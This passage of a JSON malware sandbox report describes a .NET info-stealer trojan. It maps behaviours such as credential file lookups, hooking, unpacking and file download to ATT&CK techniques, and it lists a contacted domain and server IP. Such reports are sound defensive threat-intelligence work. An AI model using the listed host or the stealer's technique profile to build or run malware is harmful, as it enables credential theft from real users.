access non-existent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"suspicious","value":"Contains a remote desktop related string"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to download files from the internet"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains ability to provide interface for network protocols"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Data Obfuscation","attack_id":"T1001","attack_id_wiki":"https://attack.mitre.org/techniques/T1001","identifiers":[{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Found a cryptographic related string"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","identifiers":[{"type":"malicious","value":"References suspicious system modules"}],"sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"}],"sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to install a hook procedure (API string)","description":"Observed api string:\"SetWindowsHookEx\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory","description":"Observed function memorystream in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function memorystream in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function system.reflection.load in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function system.reflection.load in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1001","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Observed api string:\"SetUnhandledExceptionFilter\" [Source: 00000000-00003700.00000000.81182.DB862000.00000002.mdmp]\n Observed api string:\"UnhandledExceptionFilter\" [Source: 00000000-00003700.00000000.81182.DB862000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data (API string)","description":"Observed api string:\"FromBase64String\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime","description":"Observed function tostring in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function concat in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function split in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function replace in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function join in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function frombase64string in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function ptrtostringansi in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007040)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00007040)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007040)\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"RtlGetVersion\" with parameter o (UID: 00000000-00007040)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"OpenMutexW\" with parameter \"0aa3cd7f25f8355925f88ba2213e183e5f7fe3df\" - (UID: 00000000-00007040)\n \"ShellExperienceHost.exe\" called \"OpenMutexW\" with parameter \"0aa3cd7f25f8355925f88ba2213e183e5f7fe3df\" - (UID: 00000000-00007784)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries","description":"Observed namespace system.management.managementobjectsearcher in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed namespace system.management.managementobjectsearcher in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function getenvironmentvariable in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function expandenvironmentvariables in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function getenvironmentvariable in WmiPrvSE.exe\n Observed function expandenvironmentvariables in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information","description":"Observed function get_systemdirectory in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function get_osversion in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function get_is64bitoperatingsystem in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function get_machinename in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function get_username in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function get_systemdirectory in WmiPrvSE.exe\n Observed function get_osversion in WmiPrvSE.exe\n Observed function get_is64bitoperatingsystem in WmiPrvSE.exe\n Observed function get_machinename in WmiPrvSE.exe\n Observed function get_username in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$27","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Observed api:\"GetWindowText\"[Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]\n Observed api:\"GetForegroundWindow\"[Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" queries volume information of \"C:\\HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" at 00000000-00007040-00000049-1039683\n \"ShellExperienceHost.exe\" queries volume information of \"%PUBLIC%\\Desktop\\ShellExperienceHost.exe\" at 00000000-00007784-00000049-602200","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"ShellExperienceHost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"ShellExperienceHost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CopyFileW\" (UID: 00000000-00007040)\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CopyFileW\" with parameter %PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt\\AutoIt3_x64.exe (UID: 00000000-00007040)\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CopyFileW\" with parameter C:\\Users\\HAPUBWS\\My Documents\\AutoIt3_x64.exe (UID: 00000000-00007040)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt (UID: 00000000-00007040)\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" called \"CreateDirectoryW\" with parameter %WINDIR%\\System32\\wbem\\p2p-mesh (UID: 00000000-00007040)","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"a0553951.xsph.ru\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"141.8.197.42:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"chcp.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"General","name":"Contains ability to download files from the internet","description":"Observed function downloadfile in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function downloadfile in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contains ability to execute application","description":"Observed function set_useshellexecute in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function set_useshellexecute in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contains ability to modify processes thread functionality (API string)","description":"Observed API string:\"SuspendThread\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]\n Observed API string:\"ResumeThread\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]\n Observed API string:\"OpenThread\" [Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contains ability to start a process","description":"Observed function process.start in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function process.set_startinfo in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed function process.start in WmiPrvSE.exe\n Observed function process.set_startinfo in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7040:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7040:120:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\0aa3cd7f25f8355925f88ba2213e183e5f7fe3df\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:7040:120:WilError_01\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"0aa3cd7f25f8355925f88ba2213e183e5f7fe3df\"\n \"Local\\SM0:7040:304:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\SyncRootManager\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API loadlibrary in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed API getprocaddress in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed API mapvirtualkey in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\n Observed API loadlibrary in WmiPrvSE.exe\n Observed API getprocaddress in WmiPrvSE.exe\n Observed API mapvirtualkey in WmiPrvSE.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"CHCP.COM.63DD3700.bin\" as clean (type is \"PE32+ executable (console) x86-64 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"General","name":"Drops or executes a batch file","description":"Process \"cmd.exe\" with commandline \"/C \"%TEMP%\\6TnwmlA4fm.bat\"\" (UID: 00000000-00002924)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"set_GenerateExecutable\" (Indicator: \"Executable\")\n \"FreeLibrary\" (Indicator: \"FreeLibrary\")\n \"GetProcAddress\" (Indicator: \"GetProcAddress\")\n \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\")\n \"EscapeDataString\" (Indicator: \"Escape\")\n \"IsWindowVisible\" (Indicator: \"IsWindow\")\n \"GetWindowRect\" (Indicator: \"GetWindow\")\n \"CloseDesktop\" (Indicator: \"CloseDesktop\")\n \"WindowFromPoint\" (Indicator: \"WindowFromPoint\")\n \"GetWindowLong\" (Indicator: \"GetWindow\")\n \"EnumDesktopWindows\" (Indicator: \"EnumDesktopWindows\")\n \"GetWindowThreadProcessId\" (Indicator: \"GetWindow\")\n \"SetThreadDesktop\" (Indicator: \"SetThreadDesktop\")\n \"GetParent\" (Indicator: \"GetParent\")\n \"SetWindowPos\" (Indicator: \"SetWindowPos\")\n \"GetWindowInfo\" (Indicator: \"GetWindow\")\n \"GetWindowText\" (Indicator: \"GetWindow\")\n \"SendInput\" (Indicator: \"SendInput\")\n \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHookEx\")\n \"CallNextHookEx\" (Indicator: \"CallNextHookEx\")","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at D1900000\n \"ShellExperienceHost.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at D1900000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2a","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\" has an executable section named \".text\"\n \"CHCP.COM.63DD3700.bin\" has an executable section named \".text\"\n \"WmiPrvSE.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\" has an writable section named \".sdata\"\n \"CHCP.COM.63DD3700.bin\" has an writable section named \".data\"\n \"WmiPrvSE.exe\" has an writable section named \".sdata\"","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2b","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x124200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x124064\" greater than 0x100000","origin":"Static 